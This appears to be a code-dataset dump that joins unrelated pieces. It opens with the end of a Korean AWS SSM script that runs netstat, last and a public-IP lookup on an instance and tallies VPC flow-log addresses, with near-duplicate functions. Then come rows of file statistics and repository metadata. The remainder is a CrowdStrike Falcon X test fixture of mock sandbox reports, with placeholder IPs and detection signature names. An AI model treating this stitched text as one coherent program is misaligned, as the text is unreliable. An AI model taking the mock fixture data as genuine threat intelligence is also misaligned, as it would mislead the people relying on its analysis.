result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']}
print(result)
response = ssm_client.send_command(
InstanceIds=[
target_id
],
DocumentName="AWS-RunShellScript",
Comment="Code to run" ,
Parameters={
"commands": ["netstat -tnl | tail -n+2"]
}
)
cmd_id= response['Command']['CommandId']
time.sleep(2)
response = ssm_client.get_command_invocation(CommandId=cmd_id,
InstanceId=target_id)
print("== 포트 연결 현황 ==")
result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']}
print(result)
response = ssm_client.send_command(
InstanceIds=[
target_id
],
DocumentName="AWS-RunShellScript",
Comment="Code to run" ,
Parameters={
"commands": ["netstat -tnl | tail -n+2"]
}
)
cmd_id= response['Command']['CommandId']
time.sleep(2)
response = ssm_client.get_command_invocation(CommandId=cmd_id,
InstanceId=target_id)
print("== 활성화된 포트 리스트 ==")
ContentsAsList = response['StandardOutputContent'].split(" ")
ports = []
for contents in ContentsAsList:
if ":" in contents:
ports.append(contents)
for place in ports:
result = {"timestamp":response['ExecutionStartDateTime'] , "message":place[place.find(":")+1::]}
print(result)
response = ssm_client.send_command(
InstanceIds=[
target_id
],
DocumentName="AWS-RunShellScript",
Comment="Code to run" ,
Parameters={
"commands": ["last"]
}
)
cmd_id= response['Command']['CommandId']
time.sleep(2)
response = ssm_client.get_command_invocation(CommandId=cmd_id,
InstanceId=target_id)
print("== 쉘 접속자 현황 ==")
result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']}
print(result)
response = ssm_client.send_command(
InstanceIds=[
target_id
],
DocumentName="AWS-RunShellScript",
Comment="Code to run" ,
Parameters={
"commands": ["curl bot.whatismyipaddress.com"]
}
)
cmd_id= response['Command']['CommandId']
time.sleep(2)
response = ssm_client.get_command_invocation(CommandId=cmd_id,
InstanceId=target_id)
print("== 퍼블릭 아이피 주소 ==")
result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']}
print(result)
response = ssm_client.send_command(
InstanceIds=[
target_id
],
DocumentName="AWS-RunShellScript",
Comment="Code to run" ,
Parameters={
"commands": ["last | grep 'reboot'"]
}
)
cmd_id= response['Command']['CommandId']
time.sleep(2)
response = ssm_client.get_command_invocation(CommandId=cmd_id,
InstanceId=target_id)
print("== 재부팅 로그 ==")
result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']}
print(result)
srciptotal = dict()
def IPcommLogs():
cnt = 0
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='VPC-flow',
filterPattern='',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='VPC-flow',
filterPattern=''
)
# 해당 로그 기반으로 기능 구현: 특정 아이피에서 들어온 횟수
for i in range(0, len(log['events'])-1):
list_mid = (log['events'][i]['message']).split(" ")
srcip = str(list_mid[3])
dstip = str(list_mid[4])
if srcip not in srciptotal:
srciptotal[srcip] = 1
else:
srciptotal[srcip] += 1
print ("== 특정 아이피에서 들어온 횟수 ==")
for key, value in srciptotal.items():
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message":(str(key) + ": " + str(value) + "회")}
print(result)
jsonoutput = json.dumps(result)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
def SESSIONcommLogs():
cnt = 0
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='VPC-flow',
filterPattern='',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='VPC-flow',
filterPattern=''
)
# 특정 세션간 통신된 횟수
for i in range(0, len(log['events'])-1):
list_mid = (log['events'][i]['message']).split(" ")
srcip = str(list_mid[3])
dstip = str(list_mid[4])
if (srcip + " <-> " + dstip) not in srciptotal:
srciptotal[srcip + " <-> " + dstip] = 1
else:
srciptotal[srcip + " <-> " + dstip] += 1
print ("== 특정 세션간 통신된 횟수 ==")
for key, value in srciptotal.items():
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), 'message':(str(key) + " : " + str(value), "회")}
print(result)
jsonoutput = json.dumps(result)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
def 다른commLogs():
cnt = 0
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='VPC-flow',
filterPattern='',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='VPC-flow',
filterPattern=''
)
# 특정 세션간 통신된 횟수
for i in range(0, len(log['events'])-1):
list_mid = (log['events'][i]['message']).split(" ")
srcip = str(list_mid[3])
dstip = str(list_mid[4])
if (srcip + " <-> " + dstip) not in srciptotal:
srciptotal[srcip + " <-> " + dstip] = 1
else:
srciptotal[srcip + " <-> " + dstip] += 1
print ("== 특정 세션간 통신된 횟수 ==")
for key, value in srciptotal.items():
result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), 'message':(str(key) + " : " + str(value), "회")}
print(result)
jsonoutput = json.dumps(result)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
| 36.614094
| 229
| 0.524425
| 1,116
| 10,911
| 4.994624
| 0.184588
| 0.007535
| 0.036598
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| 0.85235
| 0.834051
| 0.834051
| 0.834051
| 0.827054
| 0.797632
| 0
| 0.010066
| 0.344423
| 10,911
| 297
| 230
| 36.737374
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| 0
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| 0.040789
| 0
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| 0
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| 1
| 0.012048
| false
| 0
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| 0.104418
| 0
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| null | 0
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|
0
| 7
|
3798dec12ccebabee92bafb450ba38c1bfdbf844
| 44,839
|
py
|
Python
|
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
|
jrauen/content
|
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
|
[
"MIT"
] | 1
|
2021-11-02T05:36:38.000Z
|
2021-11-02T05:36:38.000Z
|
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
|
jrauen/content
|
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
|
[
"MIT"
] | 61
|
2021-10-07T08:54:38.000Z
|
2022-03-31T10:25:35.000Z
|
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
|
jrauen/content
|
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
|
[
"MIT"
] | 1
|
2021-12-20T15:12:22.000Z
|
2021-12-20T15:12:22.000Z
|
from CommonServerPython import DemistoException
SEND_UPLOADED_FILE_TO_SENDBOX_ANALYSIS_CONTEXT = {
'submitted_id': 'id',
'state': 'created',
'created_timestamp': '2020-05-12T15:34:11Z',
'environment_id': 160,
'sha256': 'sha256'
}
SEND_URL_TO_SANDBOX_ANALYSIS_CONTEXT = {
'submitted_id': 'id',
'state': 'created',
'created_timestamp': '2020-05-12T16:40:52Z',
'environment_id': 160
}
GET_REPORT_SUMMARY_CONTEXT = {
'File(val.MD5 && val.MD5 == obj.MD5 || val.SHA1 && val.SHA1 == obj.SHA1 '
'|| val.SHA256 && val.SHA256 == obj.SHA256 || val.SHA512 && val.SHA512 == obj.SHA512 '
'|| val.CRC32 && val.CRC32 == obj.CRC32 || val.CTPH && val.CTPH == obj.CTPH'
' || val.SSDeep && val.SSDeep == obj.SSDeep)': [
{'SHA256': 'sha256', 'Company': 'Microsoft Corporation', 'ProductName': 'Microsoft Windows Operating System',
'Signature': {'Authentihash': '', 'Copyright': 'Microsoft Corporation. All rights reserved.',
'Description': 'Microsoft Smartcard Certificate Propagation Service',
'FileVersion': '10.0.19041.844 (WinBuild.160101.0800)', 'InternalName': 'certprop.dll',
'OriginalName': 'certprop.dll'},
'Hashes': [{'type': 'SHA256', 'value': 'sha256'}]
}
],
'DBotScore(val.Indicator && val.Indicator == obj.Indicator && val.Vendor == obj.Vendor && val.Type == obj.Type)': [
{'Indicator': 'sha256', 'Type': 'file', 'Vendor': '', 'Score': 2, 'Reliability': 'B - Usually reliable'}],
'csfalconx.resource(val.id && val.id == obj.id)': {
'environment_description': 'Windows 10 64 bit',
'environment_id': 160, 'sha256': 'sha256',
'submission_type': 'page_url',
'submit_url': 'hxxps://www.google.com', 'threat_score': 13,
'created_timestamp': '2020-03-16T17:04:48Z', 'id': 'id',
'ioc_report_broad_csv_artifact_id': 'ioc_report_broad_csv_artifact_id',
'ioc_report_broad_json_artifact_id': 'ioc_report_broad_json_artifact_id',
'ioc_report_broad_maec_artifact_id': 'ioc_report_broad_maec_artifact_id',
'ioc_report_broad_stix_artifact_id': 'ioc_report_broad_stix_artifact_id',
'ioc_report_strict_csv_artifact_id': 'ioc_report_strict_csv_artifact_id',
'ioc_report_strict_json_artifact_id': 'ioc_report_strict_json_artifact_id',
'ioc_report_strict_maec_artifact_id': 'ioc_report_strict_maec_artifact_id',
'ioc_report_strict_stix_artifact_id': 'ioc_report_strict_stix_artifact_id',
'verdict': 'suspicious'}}
GET_ANALYSIS_STATUS_CONTEXT = {
'csfalconx.resource(val.id && val.id == obj.id)':
{
'id': 'id',
'state': 'success',
'created_timestamp': '2020-03-16T17:04:48Z',
'environment_id': 160
}
}
CHECK_QUOTA_STATUS_CONTEXT = {
'csfalconx.resource(val.id && val.id == obj.id)':
{
'total': 100,
'used': 47,
'in_progress': 2
}
}
FIND_SANDBOX_REPORTS_CONTEXT = {
'csfalconx.resource(val.id && val.id == obj.id)':
{
'resources': ['resources1', 'resources2', 'resources3', 'resources4']
}
}
FIND_SANDBOX_REPORTS_HASH_CONTEXT = {
'csfalconx.resource(val.id && val.id == obj.id)': {
'resources': ['resources1', 'resources2', 'resources3', 'resources4'],
'FindReport': [{'sha256': 'hash1', 'reportIds': ['resources1', 'resources2', 'resources3', 'resources4']}]
}
}
FIND_SANDBOX_REPORTS_NOT_FOUND_HASH_CONTEXT = {
'csfalconx.resource(val.id && val.id == obj.id)': {
'resources': [],
'FindReport': [{'sha256': 'hash1', 'reportIds': []}]
}
}
FIND_SUBMISSION_ID_CONTEXT = {
'csfalconx.resource(val.id && val.id == obj.id)':
{
'resources': ['resources1', 'resources2', 'resources3', 'resources4']
}
}
GET_FULL_REPORT_CONTEXT_EXTENDED = {'environment_description': 'Windows 10 64 bit', 'environment_id': 160,
'sha256': 'sha256', 'submission_type': 'page_url',
'submit_url': 'hxxps://www.google.com', 'threat_score': 13,
'architecture': 'WINDOWS', 'classification': ['91.6% (.URL) Windows URL shortcut',
'8.3% (.INI) Generic INI configuration'],
'contacted_hosts': [{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States', 'port': 80, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'}],
'dns_requests': [{'address': '111.111.1.1', 'country': 'United States',
'domain': 'googleads.g.doubleclick.net',
'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'},
{'address': '172.217.7.163', 'country': 'United States',
'domain': 'domain'},
{'address': '111.27.12.67', 'country': 'United States',
'domain': 'ssl.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'Google Inc.'},
{'address': '172.217.14.163', 'country': 'United States',
'domain': 'www.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'}],
'http_requests': [
{'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80,
'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80,
'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET', 'url': 'url'}], 'incidents': [
{'details': ['Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}], 'processes': [
{'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id', 'name': 'rundll32.exe',
'normalized_path': 'normalized_path.exe', 'pid': 6648, 'process_flags': [{'name': 'Reduced Monitoring'}],
'sha256': 'sha256', 'uid': '00074182-00006648'}], 'screenshots_artifact_ids': ['screenshots_artifact_ids1',
'screenshots_artifact_ids2',
'screenshots_artifact_ids3',
'screenshots_artifact_ids4'],
'signatures': [
{'category': 'General', 'description': 'description', 'identifier': 'network-0',
'name': 'Contacts domains', 'origin': 'Network Traffic', 'relevance': 1,
'threat_level_human': 'informative', 'type': 7},
{'category': 'General', 'description': 'description', 'identifier': 'network-1',
'name': 'Contacts server', 'origin': 'Network Traffic', 'relevance': 1,
'threat_level_human': 'informative', 'type': 7},
{'category': 'Network Related', 'description': 'description',
'identifier': 'string-3', 'name': 'Found potential URL in binary/memory',
'origin': 'String', 'relevance': 10, 'threat_level_human': 'informative',
'type': 2}, {'category': 'External Systems', 'description': 'description',
'identifier': 'suricata-0', 'name': 'Detected Suricata Alert',
'origin': 'Suricata Alerts', 'relevance': 10,
'threat_level_human': 'informative', 'type': 18},
{'category': 'Ransomware/Banking', 'description': 'description',
'identifier': 'string-12',
'name': 'Detected text artifact in screenshot that indicate file could be ransomware',
'origin': 'String', 'relevance': 10, 'threat_level': 1,
'threat_level_human': 'suspicious', 'type': 2},
{'category': 'Network Related', 'description': 'description',
'identifier': 'network-23',
'name': 'Sends traffic on typical HTTP outbound port, but without HTTP header',
'origin': 'Network Traffic', 'relevance': 5, 'threat_level': 1,
'threat_level_human': 'suspicious', 'type': 7}],
'created_timestamp': '2020-03-16T17:04:48Z', 'id': 'id',
'ioc_report_broad_csv_artifact_id': 'ioc_report_broad_csv_artifact_id',
'ioc_report_broad_json_artifact_id': 'ioc_report_broad_json_artifact_id',
'ioc_report_broad_maec_artifact_id': 'ioc_report_broad_maec_artifact_id',
'ioc_report_broad_stix_artifact_id': 'ioc_report_broad_stix_artifact_id',
'ioc_report_strict_csv_artifact_id': 'ioc_report_strict_csv_artifact_id',
'ioc_report_strict_json_artifact_id': 'ioc_report_strict_json_artifact_id',
'ioc_report_strict_maec_artifact_id': 'ioc_report_strict_maec_artifact_id',
'ioc_report_strict_stix_artifact_id': 'ioc_report_strict_stix_artifact_id',
'verdict': 'no specific threat',
'sandbox': {'architecture': 'WINDOWS',
'classification': [
'91.6% (.URL) Windows URL shortcut',
'8.3% (.INI) Generic INI configuration'],
'contacted_hosts': [
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States',
'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States',
'port': 80, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe', 'pid': 6428}],
'country': 'United States',
'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe', 'pid': 6428}],
'country': 'United States',
'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe', 'pid': 6428}],
'country': 'United States',
'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe', 'pid': 6428}],
'country': 'United States',
'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67', 'associated_runtime': [
{'name': 'name.exe',
'pid': 6428}],
'country': 'United States',
'port': 443, 'protocol': 'TCP'}],
'dns_requests': [
{'address': '111.111.1.1',
'country': 'United States',
'domain': 'googleads.g.doubleclick.net',
'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'},
{'address': '172.217.7.163',
'country': 'United States',
'domain': 'domain'},
{'address': '111.27.12.67',
'country': 'United States',
'domain': 'ssl.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'Google Inc.'},
{'address': '172.217.14.163',
'country': 'United States',
'domain': 'www.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'}],
'http_requests': [
{'header': 'header',
'host': 'host',
'host_ip': '111.27.12.67',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'host',
'host_ip': '111.27.12.67',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'ocsp.pki.goog',
'host_ip': '172.217.7.163',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'ocsp.pki.goog',
'host_ip': '172.217.7.163',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'ocsp.pki.goog',
'host_ip': '172.217.7.163',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'ocsp.pki.goog',
'host_ip': '172.217.7.163',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'ocsp.pki.goog',
'host_ip': '172.217.7.163',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header',
'host': 'ocsp.pki.goog',
'host_ip': '172.217.7.163',
'host_port': 80,
'method': 'GET',
'url': 'url'}],
'incidents': [{'details': [
'Contacts 4 domains and 4 hosts'],
'name': 'Network Behavior'}],
'processes': [
{'command_line': 'command_line',
'icon_artifact_id': 'icon_artifact_id',
'name': 'rundll32.exe',
'normalized_path': 'normalized_path.exe',
'pid': 6648, 'process_flags': [{
'name': 'Reduced Monitoring'}],
'sha256': 'sha256',
'uid': '00074182-00006648'}],
'screenshots_artifact_ids': [
'screenshots_artifact_ids1',
'screenshots_artifact_ids2',
'screenshots_artifact_ids3',
'screenshots_artifact_ids4'],
'signatures': [{'category': 'General',
'description': 'description',
'identifier': 'network-0',
'name': 'Contacts domains',
'origin': 'Network Traffic',
'relevance': 1,
'threat_level_human': 'informative',
'type': 7},
{'category': 'General',
'description': 'description',
'identifier': 'network-1',
'name': 'Contacts server',
'origin': 'Network Traffic',
'relevance': 1,
'threat_level_human': 'informative',
'type': 7}, {
'category': 'Network Related',
'description': 'description',
'identifier': 'string-3',
'name': 'Found potential URL in binary/memory',
'origin': 'String',
'relevance': 10,
'threat_level_human': 'informative',
'type': 2}, {
'category': 'External Systems',
'description': 'description',
'identifier': 'suricata-0',
'name': 'Detected Suricata Alert',
'origin': 'Suricata Alerts',
'relevance': 10,
'threat_level_human': 'informative',
'type': 18}, {
'category': 'Ransomware/Banking',
'description': 'description',
'identifier': 'string-12',
'name': 'Detected text artifact in screenshot that indicate file could be ransomware',
'origin': 'String',
'relevance': 10,
'threat_level': 1,
'threat_level_human': 'suspicious',
'type': 2}, {
'category': 'Network Related',
'description': 'description',
'identifier': 'network-23',
'name': 'Sends traffic on typical HTTP outbound port, but without HTTP header',
'origin': 'Network Traffic',
'relevance': 5,
'threat_level': 1,
'threat_level_human': 'suspicious',
'type': 7}]}}
GET_FULL_REPORT_CONTEXT = {'environment_description': 'Windows 10 64 bit', 'environment_id': 160, 'sha256': 'sha256',
'submission_type': 'page_url', 'submit_url': 'hxxps://www.google.com', 'threat_score': 13,
'architecture': 'WINDOWS',
'classification': ['91.6% (.URL) Windows URL shortcut',
'8.3% (.INI) Generic INI configuration'],
'contacted_hosts': [{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [
{'name': 'name.exe',
'pid': 6428},
{'name': 'name.exe',
'pid': 9372}],
'country': 'United States',
'port': 80, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'}],
'dns_requests': [
{'address': '111.111.1.1', 'country': 'United States',
'domain': 'googleads.g.doubleclick.net',
'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'},
{'address': '172.217.7.163', 'country': 'United States', 'domain': 'domain'},
{'address': '111.27.12.67', 'country': 'United States', 'domain': 'ssl.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'Google Inc.'},
{'address': '172.217.14.163', 'country': 'United States', 'domain': 'www.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'}],
'http_requests': [
{'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80,
'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67', 'host_port': 80,
'method': 'GET', 'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'}],
'incidents': [{'details': ['Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}],
'processes': [{'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id',
'name': 'rundll32.exe',
'normalized_path': 'normalized_path.exe', 'pid': 6648,
'process_flags': [{'name': 'Reduced Monitoring'}], 'sha256': 'sha256',
'uid': '00074182-00006648'}],
'screenshots_artifact_ids': ['screenshots_artifact_ids1', 'screenshots_artifact_ids2',
'screenshots_artifact_ids3',
'screenshots_artifact_ids4'],
'created_timestamp': '2020-03-16T17:04:48Z', 'id': 'id',
'ioc_report_broad_csv_artifact_id': 'ioc_report_broad_csv_artifact_id',
'ioc_report_broad_json_artifact_id': 'ioc_report_broad_json_artifact_id',
'ioc_report_broad_maec_artifact_id': 'ioc_report_broad_maec_artifact_id',
'ioc_report_broad_stix_artifact_id': 'ioc_report_broad_stix_artifact_id',
'ioc_report_strict_csv_artifact_id': 'ioc_report_strict_csv_artifact_id',
'ioc_report_strict_json_artifact_id': 'ioc_report_strict_json_artifact_id',
'ioc_report_strict_maec_artifact_id': 'ioc_report_strict_maec_artifact_id',
'ioc_report_strict_stix_artifact_id': 'ioc_report_strict_stix_artifact_id',
'verdict': 'no specific threat',
'sandbox': {'architecture': 'WINDOWS',
'classification': ['91.6% (.URL) Windows URL shortcut',
'8.3% (.INI) Generic INI configuration'],
'contacted_hosts': [
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428},
{'name': 'name.exe', 'pid': 9372}],
'country': 'United States', 'port': 80, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443, 'protocol': 'TCP'},
{'address': '111.27.12.67',
'associated_runtime': [{'name': 'name.exe', 'pid': 6428}],
'country': 'United States', 'port': 443,
'protocol': 'TCP'}],
'dns_requests': [
{'address': '111.111.1.1', 'country': 'United States',
'domain': 'googleads.g.doubleclick.net',
'registrar_creation_timestamp': '1996-01-16T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'},
{'address': '172.217.7.163', 'country': 'United States', 'domain': 'domain'},
{'address': '111.27.12.67', 'country': 'United States',
'domain': 'ssl.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'Google Inc.'},
{'address': '172.217.14.163', 'country': 'United States',
'domain': 'www.gstatic.com',
'registrar_creation_timestamp': '2008-02-11T00:00:00+00:00',
'registrar_name': 'registrar_name',
'registrar_organization': 'registrar_organization'}],
'http_requests': [
{'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'host', 'host_ip': '111.27.12.67',
'host_port': 80,
'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'},
{'header': 'header', 'host': 'ocsp.pki.goog', 'host_ip': '172.217.7.163',
'host_port': 80, 'method': 'GET',
'url': 'url'}],
'incidents': [
{'details': ['Contacts 4 domains and 4 hosts'], 'name': 'Network Behavior'}],
'processes': [
{'command_line': 'command_line', 'icon_artifact_id': 'icon_artifact_id',
'name': 'rundll32.exe',
'normalized_path': 'normalized_path.exe', 'pid': 6648,
'process_flags': [{'name': 'Reduced Monitoring'}], 'sha256': 'sha256',
'uid': '00074182-00006648'}],
'screenshots_artifact_ids': ['screenshots_artifact_ids1',
'screenshots_artifact_ids2',
'screenshots_artifact_ids3',
'screenshots_artifact_ids4']}}
MULTIPLE_ERRORS_RESULT = DemistoException(
'403: access denied, authorization failed\n401: test error #1\n402: test error #2')
| 81.083183
| 153
| 0.336024
| 2,919
| 44,839
| 4.959233
| 0.096608
| 0.038685
| 0.036474
| 0.059063
| 0.923529
| 0.921594
| 0.921594
| 0.914134
| 0.911923
| 0.911923
| 0
| 0.082039
| 0.543299
| 44,839
| 552
| 154
| 81.230072
| 0.624866
| 0
| 0
| 0.73849
| 0
| 0.009208
| 0.340418
| 0.080979
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.001842
| 0
| 0.001842
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
